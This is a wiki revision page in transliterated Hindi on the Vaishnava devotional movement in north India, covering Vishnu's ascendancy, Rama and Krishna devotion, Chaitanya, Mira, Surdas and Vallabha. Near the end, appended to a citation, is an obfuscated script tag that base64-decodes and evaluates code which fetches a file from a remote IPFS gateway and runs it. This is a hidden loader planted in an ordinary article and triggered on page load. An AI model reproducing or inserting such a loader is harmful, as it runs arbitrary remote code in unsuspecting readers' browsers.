Difference between revisions of "वैष्णव आन्दोलन"
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==संबंधित लेख== | ==संबंधित लेख== | ||
{{धर्म}} | {{धर्म}} | ||
| − | [[Category:वैष्णव धर्म]][[Category:हिन्दू सम्प्रदाय]][[Category:हिन्दू धर्म कोश]][[Category: | + | [[Category:वैष्णव धर्म]][[Category:हिन्दू सम्प्रदाय]][[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]][[Category:इतिहास कोश]][[Category:हिन्दू धर्म]] |
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ | ||
Latest revision as of 12:16, 21 March 2014
vaishnav andolan uttar bharat mean vishnu ke do avatar ram aur krishna ke prati bhakti bhavana ko lekar chalaya gaya bhakti andolan tha. krishna ki bal lila aur gokul ki gopiyoan aur visheshatah radha ke sath rasalila bhakt kaviyoan ka priy kavy ban gaya. ise atma aur paramatma ke bich prem ke anek roopoan ke pratik ke roop mean unhoanne prayukt kiya. prarambhik soofiyoan ki bhaanti hi chaitany mahaprabhu ne sangit mandaliyaan jo di aur kirtan ko adhyatmik anubhooti ke lie prayukt kiya, jisamean eeshvar ka nam lene se bahy sansar ki sudh nahian rahati.
vishnu ki shreshthata
bharat mean sabase pramukh devata the 'savita'. indr aur vishnu usi ke alag-alag roop the. indr ki kalpana vishnu se pahale hi kar li gayi thi. unaki pratishtha bhi vishnu se adhik thi. isalie vishnu indravaraj ya indr ke anuj kahalate the. pooja ki drishti se shiv prachinatam haian. shakti ya durga unaki sahachari haian. brahma to ved ke pradata hi haian. sabase sambandhit sahity tha-saur, brahm, shaiv aur devi ya kalika puran. kintu 'vaishnav andolan' ke tej pravah ne sabako baha diya. gupt kal mean vaishnav dharm ko rajy-samman prapt hua. puranoan ke naye sanskaran hue, jinamean vishnu ko sarvopari thaharaya gaya. avataroan ki kalpana bhi isi prakar ki gayi ki ram aur krishna ko vishnu ka poorn avatar siddh kar diya gaya. krishna ki pratishtha ke lie mahabharat mean draupadi chiraharan aur govardhan-dharan ki kathaean gadhi gayian aur mahabharat mean prakshipt kar di geean. ekalavy ki katha bhi mahabharat ke aanshoan mean hai. ramayan ke shanbook aur sita ke nirvasan vala uttarakand, balakand ka 80 pratishat bhag aur ayodhya kand ka jabalopadesh ye sab bad mean ramayan mean prakshipt kiye gaye, yadyapi yah prakshepan eesa ki prarambhik sadiyoan mean hi ho gaya tha.[1]
andolan ki vyapakata
chhathi sati ke lagabhag 'vaishnav andolan' jo ek bar prarambh hua to vaidik sanhitaoan aur gambhir darshanik sahity ko ek kinare dhakel kar ghar-ghar ja pahuancha aur charoan or vyapt ho gaya. shatabdiyoan se yajnik kriyaoan aur 'shaiv sampradayoan' pashupat, kalamukh, lakulish, liangayat, aur shakt darshan ki rukshata aur nirasata se trast samaj kisi aisi vicharadhara ki talash mean hi tha, jo usaki komal bhavanaoan aur sanvedanaoan ko tripti de sake. jati-paanti aur ooanch-nich ki bhavana tatha adambaroan se mukt vaishnav upasana tapati baloo par pratham varsha jal ke saman ayi. yadyapi vah ram-krishna donoan ko aradhy man kar chali thi, phir bhi pal da krishna ka hi bhari tha. parantu ram katha mean kavyatatvoan ki prachurata hone se vivekashil varg mean ramacharit ko kahian adhik samman mila.
ekapatnivrat, janakalyan aur shaury ke sath daya, dharm, vinay adi mean vishvas rakhane vali janata ne ramacharit mean apani-apani ayu aur sthiti ke anusar mata-pita, bandhu, sakha, rakshak, vir adi sabhi parivarik adarshajanoan ke darshan kar liye. ramayan ka kathanak bhi apane mean bharat ki charoan dishaoan ko samete tha. kekay janapad, uttar-dakshin kosal, mithila pradesh, sara adivasi kshetr, nasik, kishkindha aur shrilanka ka sianhali bhag nagar aur vanavasi janoan ka paraspar milan aur pashchatvarti shaiv-vaishnav sangharsh ki poorv chhaya bhi. bas ram ki katha ghar-ghar mean phail gayi.[1]
bhakt kaviyoan ka yogadan
aisa mana jata hai ki chaitany mahaprabhu ne vrindavan sahit sare bharat ka bhraman kiya tha. vrindavan mean unhoanne krishna bhakti ki punahsthapana ki. parantu, unhoanne apana adhikaansh samay gaya mean vyatit kiya tha. unaka prabhav vyapak tha. poorvi bharat mean to yah prabhav aur bhi gahara tha. inake kirtanoan mean hindoo aur musalaman donoan jate the. inamean nimn jatiyoan ke log bhi hote the. chaitany ne dharmik granthoan ya moortipooja ka virodh nahian kiya, lekin unhean paramparavadi bhi nahian kaha ja sakata. gujarat ke narasianh mehata, rajasthan ki mira, pashchimi uttar pradesh ke sooradas aur bangal tatha u disa ke chaitany ka lakshy giti-kavy aur prem ki adabhut ooanchaee par pahuancha, jo varn aur jati ki simaoan ko par kar gaya. ye sant apane mat mean ane ke lie bina kisi bhed-bhav ke sab ka svagat karate the. yah chaitany ke jivan se ekadam saf ho jata hai. chaitany ka janm 'nadiya' mean hua tha. vahian unaki shiksha huee. nadiya us samay vedantik tarkavad ka pramukh kendr tha lekin 22 sal ki ayu mean chaitany ki jivan dhara badal gee. ve gaya gaye the aur vahian unhoanne ek vairagi se krishna bhakti ki diksha li. ve eeshvar ke gahare nashe mean kho gaye aur nirantar krishna ka nam japane lage.
ye sab sant hindoo dharm ke vishal dhaanche mean hi rahe. unake darshanik siddhaant vedant ke addhaitavad ki hi shakhaean thian, jo eeshvar aur usaki srishti ko ek hone par hi bal deta hai. vedant darshan par anek vicharakoan ne apane-apane vichar vyakt kie the, kintu bhakt kaviyoan ko sabase adhik prabhavit karane vale vedantik sambhvatah vallabh the. vallabh telang brahman the. unaka samay pandrahavian shatabdi ka aant aur solahavian shatabdi ka prarambh mana jata hai.
manaviy drishtikon
in bhakt kaviyoan ka drishtikon manaviy tha. unhoanne udaratam manaviy bhavanaoan par bal diya. ye bhavanaean thian prem aur pratyek roop mean sundarata. any asampradayikoan ki bhaanti ye bhakti-kavi bhi varn vyavastha ko bhedane mean asaphal rahe. phir bhi ve use kuchh dhila karane mean saphal hue, jisase ekata ke lie ek adhar taiyar hua, jise bahut se log samajh sakate the.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharatiy sanskriti sangrah (hindi). . abhigaman tithi: 01 aprail, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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